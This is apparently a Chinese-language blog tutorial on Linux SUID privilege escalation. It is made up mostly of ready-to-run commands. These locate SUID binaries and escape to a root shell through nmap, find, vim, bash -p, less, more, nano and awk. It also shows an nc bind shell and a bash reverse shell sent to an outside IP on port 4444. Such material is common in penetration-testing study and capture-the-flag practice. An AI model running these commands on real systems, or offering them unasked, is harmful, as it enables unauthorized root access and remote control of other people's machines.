SUID提权

imawuya / 2023-08-15 / 原文

SUID提权

SUID提权是Linux中的一种特殊权限,其功能是为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。


但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置,SUID没有任何意义。
在执行过程中,调用者会暂时获取该文件的所有者权限,且该权限只在执行的过程中有效。

利用SUID

现在已知的具有SUID权限的二进制可执行文件有如下:

nmap
vim
find
bash
more
less
nano
cp
awk

以下命令可以找到正在系统上运行的所有SUID可执行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

nmap

适用版本:nmap2.02至5.21

nmap --interactive

nmap> !sh
sh-3.2# whoami
root

xploit/unix/local/setuid_nmap

find

提权如下:

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

#进入shell
find anyfile -exec '/bin/sh' \;
sh-5.0# whoami
root

linux一般都安装了nc 可以利用nc 广播或反弹shell

广播shell:

find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

nc 靶机ip 4444

反弹shell

find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

nc -lvvp 4444

Vim

vim.tiny  /etc/passwd

通过vim进入shell

vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

bash

以下命令将以root身份打开一个bash shell。

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

less

less /etc/passwd
#在less中输入:
!/bin/sh

more

和less相同

more /etc/passwd
#在more中输入:
!/bin/sh

nano

nano #进入nano编辑器
Ctrl + R
Ctrl + X 
#即可输入命令

awk

awk 'BEGIN {system("/bin/bash")}'